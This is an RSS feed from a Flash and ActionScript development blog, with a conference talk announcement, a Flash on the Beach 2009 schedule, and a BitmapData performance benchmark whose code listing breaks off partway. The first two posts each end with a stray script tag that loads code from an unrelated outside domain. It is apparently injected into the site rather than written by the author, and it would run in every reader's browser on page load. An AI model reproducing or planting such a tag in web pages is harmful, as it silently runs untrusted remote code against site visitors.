<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FlashFuck.it &#187; Flash</title>
	<atom:link href="http://www.flashfuck.it/category/flash/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flashfuck.it</link>
	<description>flash platform, gaming and 3D</description>
	<lastBuildDate>Tue, 27 Apr 2010 12:53:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Speaking at IGDA Switzerland 25th february 2010</title>
		<link>http://www.flashfuck.it/2010/02/08/speaking-at-igda-switzerland-25th-february-2010/</link>
		<comments>http://www.flashfuck.it/2010/02/08/speaking-at-igda-switzerland-25th-february-2010/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 09:25:56 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Speaking]]></category>
		<category><![CDATA[igda]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=172</guid>
		<description><![CDATA[I&#8217;ll be speaking at IGDA Switzerland in Bern in few weeks,

a great opportunity for me to talk about the Flash Platform as a gaming platform, to share the experience I had making the engine of Wazzamba and to meet new people I only &#8220;met&#8221; in twitter or in their blogs  
The meeting will take [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ll be speaking at <a href="http://www.igda.ch">IGDA Switzerland</a> in Bern in few weeks,<br />
<img src="http://www.igda.org/sites/all/themes/igda_black/logo.png" alt="Piergiorgio Niero IGDA Switzerland" /><br />
a great opportunity for me to talk about the Flash Platform as a gaming platform, to share the experience I had making the engine of <a href="http://www.wazzamba.com">Wazzamba</a> and to meet new people I only &#8220;met&#8221; in twitter or in their blogs <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>The meeting will take place in february 25th at &#8220;<a href="http://www.nothing.ch/">Nothing</a>&#8221; (great name guys <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ) hq in Wabern, you can find more info <a href="http://www.igda.ch/archives/225">here in IGDA Switzerland blog</a>.<br />
See you there <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2010/02/08/speaking-at-igda-switzerland-25th-february-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My FOTB &#8216;09 Schedule</title>
		<link>http://www.flashfuck.it/2009/09/07/my-fotb-09-schedule/</link>
		<comments>http://www.flashfuck.it/2009/09/07/my-fotb-09-schedule/#comments</comments>
		<pubDate>Mon, 07 Sep 2009 07:35:15 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[fotb09]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=159</guid>
		<description><![CDATA[Flash on the beach is each day closer and I started to plan my own schedule.
Each choice has been quite hard because of the high quality the conference is offering, the good thing is that even if I&#8217;m not 100% convinced to be attending some sessions I&#8217;m sure that I can switch to another one [...]]]></description>
			<content:encoded><![CDATA[<p>Flash on the beach is each day closer and I started to plan my own schedule.<br />
Each choice has been quite hard because of the high quality the conference is offering, the good thing is that even if I&#8217;m not 100% convinced to be attending some sessions I&#8217;m sure that I can switch to another one with the same or even higher quality <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>sunday:<br />
papervision3D workshop by seb lee-delisle</p>
<p>monday:<br />
Richard exposes all! &#8211; Richard Galvan<br />
Casual game architecture &#8211; Keith Peters<br />
Visualizing the voice &#8211; Chuck Freedman<br />
Who&#8217;s a bright spark then! &#8211; Mike Jones<br />
Cybernetic art revsited &#8211; Dr. Woohoo!<br />
Telling Stories – Hillman Curtis<br />
Epiphany – Joel Gethin Lewis</p>
<p>tuesday:<br />
3 minute wonders &#8211; many (looking forward to Michiel van der Ros 3D optimization for MMOs)<br />
Quick as a Flash &#8211; Grant Skinner<br />
Leaving the sandbox &#8211; Joa Ebert<br />
Application Frameworks &#8211; Richard Lord<br />
More than bending pixels &#8211; Paul Burnett<br />
Unconventional Webapps &#8211; Des Traynor + Eoghan McCabe<br />
Choose your own adventure &#8211; Craig Swann</p>
<p>wednesdey<br />
Play with vectors &#8211; Koen de Weggheleire<br />
Connecting the dots &#8211; Mario Klingemann<br />
Work/Play &#8211; Seb Lee-Delisle<br />
Flashed Fashion &#8211; Andy Mcdonald<br />
Research realtime graphics &#8211; Ralph Hauwert<br />
Space &#8211; Joshua Davis</p>
<p>I&#8217;m getting in Brighton on saturday 19th, you&#8217;re allowed to <a href="http://twitter.com/pigiuz">poke me</a> <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2009/09/07/my-fotb-09-schedule/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>BitmapData manipulation benchmark</title>
		<link>http://www.flashfuck.it/2009/07/15/bitmapdata-manipulation-benchmark/</link>
		<comments>http://www.flashfuck.it/2009/07/15/bitmapdata-manipulation-benchmark/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 19:54:49 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[benchmark]]></category>
		<category><![CDATA[BitmapData]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=144</guid>
		<description><![CDATA[Today I encountered this blog post from Zevan (which blog is REALLY a good daily reading I suggest everyone to take) about bitmapData merging and I started tweaking some code doing some benchmarks to find out which way is the most performing. Here are my tests:
First strike (Zevan&#8217;s one): copyPixels

?View Code ACTIONSCRIPT&#91;SWF&#40;width=650, height=650&#41;&#93;
var loader:Loader = [...]]]></description>
			<content:encoded><![CDATA[<p>Today I encountered <a href="http://actionsnippet.com/?p=1760">this blog post from Zevan</a> (which blog is REALLY a good daily reading I suggest everyone to take) about bitmapData merging and I started tweaking some code doing some benchmarks to find out which way is the most performing. Here are my tests:</p>
<p>First strike (Zevan&#8217;s one): <strong>copyPixels</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code5'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1445"><td class="code" id="p144code5"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 <span style="color: #000000; font-weight: bold;">var</span> currTile:BitmapData= <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span>tileWidth, tileHeight, <span style="color: #000000; font-weight: bold;">true</span>, 0x00000000<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 currTile.<span style="color: #006600;">copyPixels</span><span style="color: #66cc66;">&#40;</span>image, rect, pnt, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
			 tiles<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = currTile;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;copyPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dy - locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dx<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&amp;&amp;</span> <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dy<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dx;
			locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dy;
			<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>interval<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
   interval = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>animate, <span style="color: #cc66cc;">32</span>, <span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">var</span> canvas:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>,<span style="color: #000000; font-weight: bold;">false</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> loc:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onLoop<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
	  canvas.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span>canvas.<span style="color: #006600;">rect</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>tiles.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			<span style="color: #000000; font-weight: bold;">var</span> tile:BitmapData= tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			loc.<span style="color: #006600;">x</span> = locX<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			loc.<span style="color: #006600;">y</span> = locY<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			canvas.<span style="color: #006600;">copyPixels</span><span style="color: #66cc66;">&#40;</span>tile, tile.<span style="color: #006600;">rect</span>, loc, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #66cc66;">&#125;</span>
	  <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;copyPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>in my machine (mbp, osx) it takes <strong>~27</strong> ms to extract data and ~2-3ms each iteration for setting data on the canvas bitmapData</p>
<p>Second strike: getVector\<strong>setVector</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code6'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1446"><td class="code" id="p144code6"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>Vector.<span style="color: #66cc66;">&lt;</span>uint<span style="color: #66cc66;">&gt;&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Vector.<span style="color: #66cc66;">&lt;</span>uint<span style="color: #66cc66;">&gt;&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> tileRect:Rectangle;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	tileRect = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
